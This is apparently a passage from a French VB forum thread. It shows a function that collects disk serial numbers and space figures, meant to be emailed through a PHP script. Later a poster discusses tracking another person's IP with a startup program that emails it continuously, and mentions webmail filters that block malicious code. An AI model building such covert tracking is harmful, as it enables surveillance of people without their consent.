If Drv.VolumeName <> "" Then
Msg = Msg + "Nom du lecteur : " + Drv.VolumeName + vbCrLf
End If
Serie$ = Right$(String$(8, "0") + Hex$(Drv.SerialNumber), 8)
Serie$ = Left$(Serie$, 4) + "-" + Right$(Serie$, 4)
Msg = Msg + "N° de série du disque : " + Serie$ + vbCrLf
Status = GetDiskFreeSpaceEx(Drv & "", BytesAvailableToCaller, TotalBytes, FreeBytes)

Msg = Msg + "Espace total : "
If TotalBytes * 10000 > 1024 ^ 3 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 3), -1) & " Go"
Else
If TotalBytes * 10000 > 1024 ^ 2 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 2), -1) & " Mo"
Else
If TotalBytes * 10000 > 1024 Then
Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre : "
If FreeBytes * 10000 > 1024 ^ 3 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 3), -1) & " Go (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
If FreeBytes * 10000 > 1024 ^ 2 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 2), -1) & " Mo (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
If FreeBytes * 10000 > 1024 Then
Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024), -1) & " Ko (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé : "
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 Then
Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024), -1) & " Ko (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

End If
Set fso = Nothing
InfosDisk = Msg

End Function
---------------------------------------------------------------------

Pour l'utiliser c'est simple, tu fais:
infos = RecupInfosPc
Et apres ta plus ka rajouter la variable infos a la variable ki sera pour le script php $msg.

@+,
..::ElastycmaN::..

Elastycman

Messages postés: 40
Date d'inscription: mardi 28 janvier 2003
Statut: Membre
Dernière intervention: 3 octobre 2006

7 mars 2005 à 23:53

--> Warning

Encore une fois, tout dépend de l'utilisation envisagée pour le programme final mais ta technique Warning a deux désavantages, pour commencer, sache que les webmails classiques (jen suis certain pour hotmail) on un filtre mail qui empeche tte insertion de page ou de code malicieux ds les mails, et meme si cette technique () marchait il y a quelque années, les filtres deviennent vraiment trop performant et a ce jour je ne connais pa de technique pour contourner ce filtre, meme les formulaire html sont interdits depuis peu sur hotmail.... et le deuxieme désavantage vient tt simplement du fait que si tu veux avoir en permanence l'ip de la personne, ton idée de mail ne marche pas, alors que un programme qui se lance o démarrage de windob peut renvoyer en permanence par mail l'ip en cours d'utilisation sur le pc!
Ta technique est quand meme loin d'etre bete et ininterressante Warning, mais de nos jours, a mon avis, il y a tres tres peu de chance qu'elle marche.

Amicalement,
..::ElastycmaN::..

PS : chico200987, tu peux mettre la detection d'ip et lenvoi mail dans la meme page php a la suite en combinant le script que j'ai donné en commentaire un peu plus haut et ma source http://www.vbfrance.com/code.aspx?ID=29936.